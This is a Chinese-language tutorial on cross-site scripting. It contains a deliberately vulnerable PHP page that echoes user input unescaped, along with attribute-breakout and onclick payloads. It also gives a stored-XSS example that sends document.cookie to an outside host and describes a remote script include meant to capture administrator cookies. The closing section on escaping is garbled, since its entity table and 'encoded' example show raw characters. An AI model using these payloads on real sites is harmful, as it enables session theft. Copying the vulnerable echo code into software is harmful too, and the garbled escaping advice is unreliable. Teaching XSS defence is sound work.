什么是跨站腳本攻擊xss?
惡意攻擊者向Web頁面里插入惡意html代碼,當用戶瀏覽該頁時,嵌入Web里面的html代碼會被執(zhí)行,從而達到惡意攻擊用戶的特殊目的。
分析一下xss的特點:
1、耗時間
2、有一定幾率不成功
3、沒有相應的軟件來完成自動化攻擊
4、前期需要基本的html、js功底,后期需要扎實的html、js、actionscript2/3.0等語言的功底
5、是一種被動的攻擊手法
6、如果website有http-only、crossdomian.xml, 則沒有用
<html>
<head></head>
<body>
<span style="font-size:14px;">
<meta http-equiv="Content-Type" content="text/html;charset=" utf-8"="" /> <title>xss原理重現(xiàn)</title>
<center>
<h6>把我們輸入的字符串 輸出到input里的value屬性里</h6>
<form action="" method="POST">
<h6>請輸入你想顯現(xiàn)的字符串</h6>
<input type="text" name="xss_input" value="輸入" />
<br />
<input type="submit" />
</form>
<hr />
<!--?php
header("Content-Type:text/html;charset=utf-8");
$xss=$_POST['xss_input'];
if(isset($xss)){
echo '<input type="text" value="'.$xss.'"-->'; }else{ echo '
<input type="type" value="輸出" />'; } ?>
</center> </span>
</body>
</html>
我們在輸入框里輸入 "><script>alert('xss')</script>
分析這一段的代碼,前面的">是為了閉合前面的`input,這個輸入就可以使彈窗出現(xiàn)
我們也可以輸入 " onclick="alert('xss')
因為onclick是鼠標點擊事件,也就是說當你的鼠標點擊第二個input輸入框的時候,
就會觸發(fā)`onclick 事件,然后執(zhí)行xss
Js可以干很多的事,可以獲取cookies(對http-only沒用)、控制用戶的動作(發(fā)帖、私信什么的)等等。
比如我們在網站的留言區(qū)輸入下面的代碼:<script src="js_url"></script>
當管理員進后臺瀏覽留言的時候,就會觸發(fā),然后管理員的cookies和后臺地址還有管理員瀏覽器版本等等你都可以獲取到了
下面是XSS攻擊方法:
Stored XSS
Stored XSS是存儲式XSS漏洞,由于其攻擊代碼已經存儲到服務器上或者數(shù)據(jù)庫中,所以受害者是很多人
例如一個網站a.com可以發(fā)文章,我登錄后在a.com中發(fā)布了一篇文章,文章中包含了惡意代碼
<script>window.open(“www.b.com?param=”+document.cookie)</script>
保存文章
這時Tom和Jack看到了我發(fā)布的文章,當在查看我的文章時就都中招了
他們的cookie信息都發(fā)送到了我的服務器上,攻擊成功!
這個過程中,受害者是多個人。
Stored XSS漏洞危害性更大,危害面更廣。
XSS防御方法:
完善的過濾體系
永遠不相信用戶的輸入。需要對用戶的輸入進行處理,只允許輸入合法的值,其它值一概過濾掉
假如某些情況下,我們不能對用戶數(shù)據(jù)進行嚴格的過濾,那我們也需要對標簽進行轉換
less-than character (<)<
greater-than character (>)>
ampersand character (&)&
double-quote character (“)"
space character( ) 
比如用戶輸入
<script>window.location.href=”http://www.baidu.com”;</script>
保存后最終存儲的會是
<<script>window.location.href="http://www.baidu.com"</script>
在展現(xiàn)時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執(zhí)行的代碼